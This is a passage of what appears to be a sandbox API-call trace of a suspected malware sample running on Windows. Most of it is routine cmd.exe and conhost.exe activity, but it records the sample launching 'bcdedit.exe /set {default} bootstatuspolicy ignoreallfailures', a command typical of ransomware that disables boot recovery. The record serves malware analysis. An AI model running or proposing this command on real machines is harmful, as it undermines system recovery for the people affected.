RtlSizeHeap (HeapHandle=0x3620000, Flags=0x0, MemoryPointer=0x36453f8) returned 0x50 [0069.422] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0069.422] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0069.422] GetProcessHeap () returned 0x3620000 [0069.422] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x1b4) returned 0x3625e88 [0069.422] GetProcessHeap () returned 0x3620000 [0069.422] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x360) returned 0x3626048 [0069.424] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.424] GetProcessHeap () returned 0x3620000 [0069.424] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0xe0) returned 0x3626208 [0069.424] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.424] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x32fec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec50) returned 0xffffffff [0069.424] GetLastError () returned 0x2 [0069.424] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x32fec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec30) returned 0xffffffff [0069.424] GetLastError () returned 0x2 [0069.424] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.424] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x32fec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec50) returned 0xffffffff [0069.424] GetLastError () returned 0x2 [0069.424] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x32fec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec30) returned 0xffffffff [0069.425] GetLastError () returned 0x2 [0069.425] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.425] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x32fec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec50) returned 0xffffffff [0069.425] GetLastError () returned 0x2 [0069.425] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x32fec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec30) returned 0xffffffff [0069.425] GetLastError () returned 0x2 [0069.425] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.425] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x32fec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec50) returned 0xffffffff [0069.425] GetLastError () returned 0x2 [0069.425] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x32fec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec30) returned 0xffffffff [0069.426] GetLastError () returned 0x2 [0069.426] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.426] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x32fec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec50) returned 0xffffffff [0069.428] GetLastError () returned 0x2 [0069.428] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x32fec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec30) returned 0xffffffff [0069.429] GetLastError () returned 0x2 [0069.429] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.429] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x32fec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec50) returned 0xffffffff [0069.431] GetLastError () returned 0x2 [0069.431] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x32fec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec30) returned 0xffffffff [0069.433] GetLastError () returned 0x2 [0069.433] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.433] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x32fec50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec50) returned 0xffffffff [0069.433] GetLastError () returned 0x2 [0069.433] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x32fec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fec30) returned 0xffffffff [0069.433] GetLastError () returned 0x2 [0069.433] ??_V@YAXPAX@Z () returned 0x1 [0069.433] _get_osfhandle (_FileHandle=2) returned 0x94 [0069.434] GetFileType (hFile=0x94) returned 0x2 [0069.434] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0069.434] GetConsoleMode (in: hConsoleHandle=0x94, lpMode=0x32ff07c | out: lpMode=0x32ff07c) returned 1 [0069.521] _get_osfhandle (_FileHandle=2) returned 0x94 [0069.521] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x94, lpConsoleScreenBufferInfo=0x32ff0cc | out: lpConsoleScreenBufferInfo=0x32ff0cc) returned 1 [0069.913] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xb9b990, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0069.917] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xb9b990, nSize=0x2000, Arguments=0x32ff0fc | out: lpBuffer="'bcdedit.exe' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x66 [0069.917] WriteConsoleW (in: hConsoleOutput=0x94, lpBuffer=0xb9b990*, nNumberOfCharsToWrite=0x66, lpNumberOfCharsWritten=0x32ff0b0, lpReserved=0x0 | out: lpBuffer=0xb9b990*, lpNumberOfCharsWritten=0x32ff0b0*=0x66) returned 1 [0070.260] ??_V@YAXPAX@Z () returned 0x1 [0070.260] _get_osfhandle (_FileHandle=1) returned 0x90 [0070.260] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0070.531] _get_osfhandle (_FileHandle=1) returned 0x90 [0070.531] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb93890 | out: lpMode=0xb93890) returned 1 [0071.563] _get_osfhandle (_FileHandle=0) returned 0x8c [0071.563] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb93894 | out: lpMode=0xb93894) returned 1 [0072.373] SetConsoleInputExeNameW () returned 0x1 [0072.373] GetConsoleOutputCP () returned 0x1b5 [0072.789] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb93850 | out: lpCPInfo=0xb93850) returned 1 [0072.789] SetThreadUILanguage (LangId=0x0) returned 0x3090409 [0073.090] exit (_Code=1) [0073.090] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 92 os_tid = 0x1394 Process: id = "6" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x110b5000" os_pid = "0xbc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x594" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 30 os_tid = 0xb9c Thread: id = 31 os_tid = 0xebc Thread: id = 32 os_tid = 0xecc Thread: id = 35 os_tid = 0xda4 Thread: id = 74 os_tid = 0x12d4 Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x10b19000" os_pid = "0xf6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x139c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c \"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 34 os_tid = 0xdb0 [0068.692] GetModuleHandleA (lpModuleName=0x0) returned 0xb60000 [0068.692] __set_app_type (_Type=0x1) [0068.692] __p__fmode () returned 0x77803c14 [0068.692] __p__commode () returned 0x778049ec [0068.693] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb76fd0) returned 0x0 [0068.693] __getmainargs (in: _Argc=0xb8d1a4, _Argv=0xb8d1a8, _Env=0xb8d1ac, _DoWildCard=0, _StartInfo=0xb8d1b8 | out: _Argc=0xb8d1a4, _Argv=0xb8d1a8, _Env=0xb8d1ac) returned 0 [0068.693] _onexit (_Func=0xb78030) returned 0xb78030 [0068.693] _onexit (_Func=0xb78040) returned 0xb78040 [0068.693] _onexit (_Func=0xb78050) returned 0xb78050 [0068.693] _onexit (_Func=0xb78060) returned 0xb78060 [0068.693] _onexit (_Func=0xb78070) returned 0xb78070 [0068.694] _onexit (_Func=0xb78080) returned 0xb78080 [0068.694] GetCurrentThreadId () returned 0xdb0 [0068.694] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xdb0) returned 0xbc [0068.694] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000 [0068.694] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70 [0068.694] SetThreadUILanguage (LangId=0x0) returned 0x990409 [0068.790] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.790] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7af9dc | out: phkResult=0x7af9dc*=0x0) returned 0x2 [0068.790] VirtualQuery (in: lpAddress=0x7af9e7, lpBuffer=0x7af994, dwLength=0x1c | out: lpBuffer=0x7af994*(BaseAddress=0x7af000, AllocationBase=0x6b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0068.790] VirtualQuery (in: lpAddress=0x6b0000, lpBuffer=0x7af994, dwLength=0x1c | out: lpBuffer=0x7af994*(BaseAddress=0x6b0000, AllocationBase=0x6b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0068.790] VirtualQuery (in: lpAddress=0x6b1000, lpBuffer=0x7af994, dwLength=0x1c | out: lpBuffer=0x7af994*(BaseAddress=0x6b1000, AllocationBase=0x6b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0068.790] VirtualQuery (in: lpAddress=0x6b3000, lpBuffer=0x7af994, dwLength=0x1c | out: lpBuffer=0x7af994*(BaseAddress=0x6b3000, AllocationBase=0x6b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0068.790] VirtualQuery (in: lpAddress=0x7b0000, lpBuffer=0x7af994, dwLength=0x1c | out: lpBuffer=0x7af994*(BaseAddress=0x7b0000, AllocationBase=0x7b0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0068.791] GetConsoleOutputCP () returned 0x1b5 [0068.881] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb93850 | out: lpCPInfo=0xb93850) returned 1 [0068.882] SetConsoleCtrlHandler (HandlerRoutine=0xb87260, Add=1) returned 1 [0068.882] _get_osfhandle (_FileHandle=1) returned 0x90 [0068.882] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb9388c | out: lpMode=0xb9388c) returned 1 [0068.974] _get_osfhandle (_FileHandle=0) returned 0x8c [0068.974] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb93888 | out: lpMode=0xb93888) returned 1 [0069.085] _get_osfhandle (_FileHandle=1) returned 0x90 [0069.085] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0069.193] _get_osfhandle (_FileHandle=1) returned 0x90 [0069.193] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xb93890 | out: lpMode=0xb93890) returned 1 [0069.287] _get_osfhandle (_FileHandle=1) returned 0x90 [0069.287] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0069.413] _get_osfhandle (_FileHandle=0) returned 0x8c [0069.413] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xb93894 | out: lpMode=0xb93894) returned 1 [0069.521] _get_osfhandle (_FileHandle=0) returned 0x8c [0069.521] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0069.891] GetEnvironmentStringsW () returned 0x2c44d78* [0069.891] GetProcessHeap () returned 0x2c40000 [0069.891] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xb7c) returned 0x2c45900 [0069.891] FreeEnvironmentStringsA (penv="A") returned 1 [0069.891] GetProcessHeap () returned 0x2c40000 [0069.891] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x4) returned 0x2c44858 [0069.891] GetEnvironmentStringsW () returned 0x2c44d78* [0069.891] GetProcessHeap () returned 0x2c40000 [0069.891] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xb7c) returned 0x2c46488 [0069.892] FreeEnvironmentStringsA (penv="A") returned 1 [0069.892] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x7ae938 | out: phkResult=0x7ae938*=0xcc) returned 0x0 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x0, lpData=0x7ae944*=0xc8, lpcbData=0x7ae93c*=0x1000) returned 0x2 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x4, lpData=0x7ae944*=0x1, lpcbData=0x7ae93c*=0x4) returned 0x0 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x0, lpData=0x7ae944*=0x1, lpcbData=0x7ae93c*=0x1000) returned 0x2 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x4, lpData=0x7ae944*=0x0, lpcbData=0x7ae93c*=0x4) returned 0x0 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x4, lpData=0x7ae944*=0x40, lpcbData=0x7ae93c*=0x4) returned 0x0 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x4, lpData=0x7ae944*=0x40, lpcbData=0x7ae93c*=0x4) returned 0x0 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x0, lpData=0x7ae944*=0x40, lpcbData=0x7ae93c*=0x1000) returned 0x2 [0069.892] RegCloseKey (hKey=0xcc) returned 0x0 [0069.892] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x7ae938 | out: phkResult=0x7ae938*=0xcc) returned 0x0 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x0, lpData=0x7ae944*=0x40, lpcbData=0x7ae93c*=0x1000) returned 0x2 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x4, lpData=0x7ae944*=0x1, lpcbData=0x7ae93c*=0x4) returned 0x0 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x0, lpData=0x7ae944*=0x1, lpcbData=0x7ae93c*=0x1000) returned 0x2 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x4, lpData=0x7ae944*=0x0, lpcbData=0x7ae93c*=0x4) returned 0x0 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x4, lpData=0x7ae944*=0x9, lpcbData=0x7ae93c*=0x4) returned 0x0 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x4, lpData=0x7ae944*=0x9, lpcbData=0x7ae93c*=0x4) returned 0x0 [0069.892] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x7ae940, lpData=0x7ae944, lpcbData=0x7ae93c*=0x1000 | out: lpType=0x7ae940*=0x0, lpData=0x7ae944*=0x9, lpcbData=0x7ae93c*=0x1000) returned 0x2 [0069.892] RegCloseKey (hKey=0xcc) returned 0x0 [0069.893] time (in: timer=0x0 | out: timer=0x0) returned 0x5e44b715 [0069.893] srand (_Seed=0x5e44b715) [0069.893] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c \"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\"" [0069.893] malloc (_Size=0x4000) returned 0xa92338 [0069.893] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c \"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\"" [0069.893] malloc (_Size=0xffce) returned 0x2f10048 [0069.893] ??_V@YAXPAX@Z () returned 0x7af91c [0069.894] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2f10048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.894] malloc (_Size=0xffce) returned 0x2f20020 [0069.894] ??_V@YAXPAX@Z () returned 0x7af6f0 [0069.895] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f20020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0069.895] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0069.895] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.895] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0069.895] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0069.895] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0069.895] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0069.895] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0069.895] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0069.895] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0069.895] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0069.895] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0069.895] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0069.895] GetProcessHeap () returned 0x2c40000 [0069.895] RtlFreeHeap (HeapHandle=0x2c40000, Flags=0x0, BaseAddress=0x2c45900) returned 1 [0069.899] GetEnvironmentStringsW () returned 0x2c44d78* [0069.899] GetProcessHeap () returned 0x2c40000 [0069.899] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xb94) returned 0x2c47bb0 [0069.900] FreeEnvironmentStringsA (penv="A") returned 1 [0069.900] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0069.900] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0069.900] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0069.900] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0069.900] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0069.900] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0069.900] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0069.900] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0069.900] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0069.900] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0069.900] malloc (_Size=0xffce) returned 0x2f2fff8 [0069.900] ??_V@YAXPAX@Z () returned 0x7af488 [0069.901] GetProcessHeap () returned 0x2c40000 [0069.901] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x38) returned 0x2c48750 [0069.901] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2f2fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x2f2fff8, lpFilePart=0x7af4d4 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x7af4d4*="Desktop") returned 0x17 [0069.901] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0069.901] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x7af258 | out: lpFindFileData=0x7af258*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2c48790 [0069.902] FindClose (in: hFindFile=0x2c48790 | out: hFindFile=0x2c48790) returned 1 [0069.902] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x7af258 | out: lpFindFileData=0x7af258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x2c48790 [0069.902] FindClose (in: hFindFile=0x2c48790 | out: hFindFile=0x2c48790) returned 1 [0069.902] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x7af258 | out: lpFindFileData=0x7af258*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xeeaeb1df, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xeeaeb1df, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2c48790 [0069.902] FindClose (in: hFindFile=0x2c48790 | out: hFindFile=0x2c48790) returned 1 [0069.902] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0069.902] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0069.902] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0069.902] GetProcessHeap () returned 0x2c40000 [0069.902] RtlFreeHeap (HeapHandle=0x2c40000, Flags=0x0, BaseAddress=0x2c47bb0) returned 1 [0069.902] GetEnvironmentStringsW () returned 0x2c47010* [0069.902] GetProcessHeap () returned 0x2c40000 [0069.902] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xbcc) returned 0x2c48790 [0069.902] FreeEnvironmentStringsA (penv="=") returned 1 [0069.903] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2f10048 | 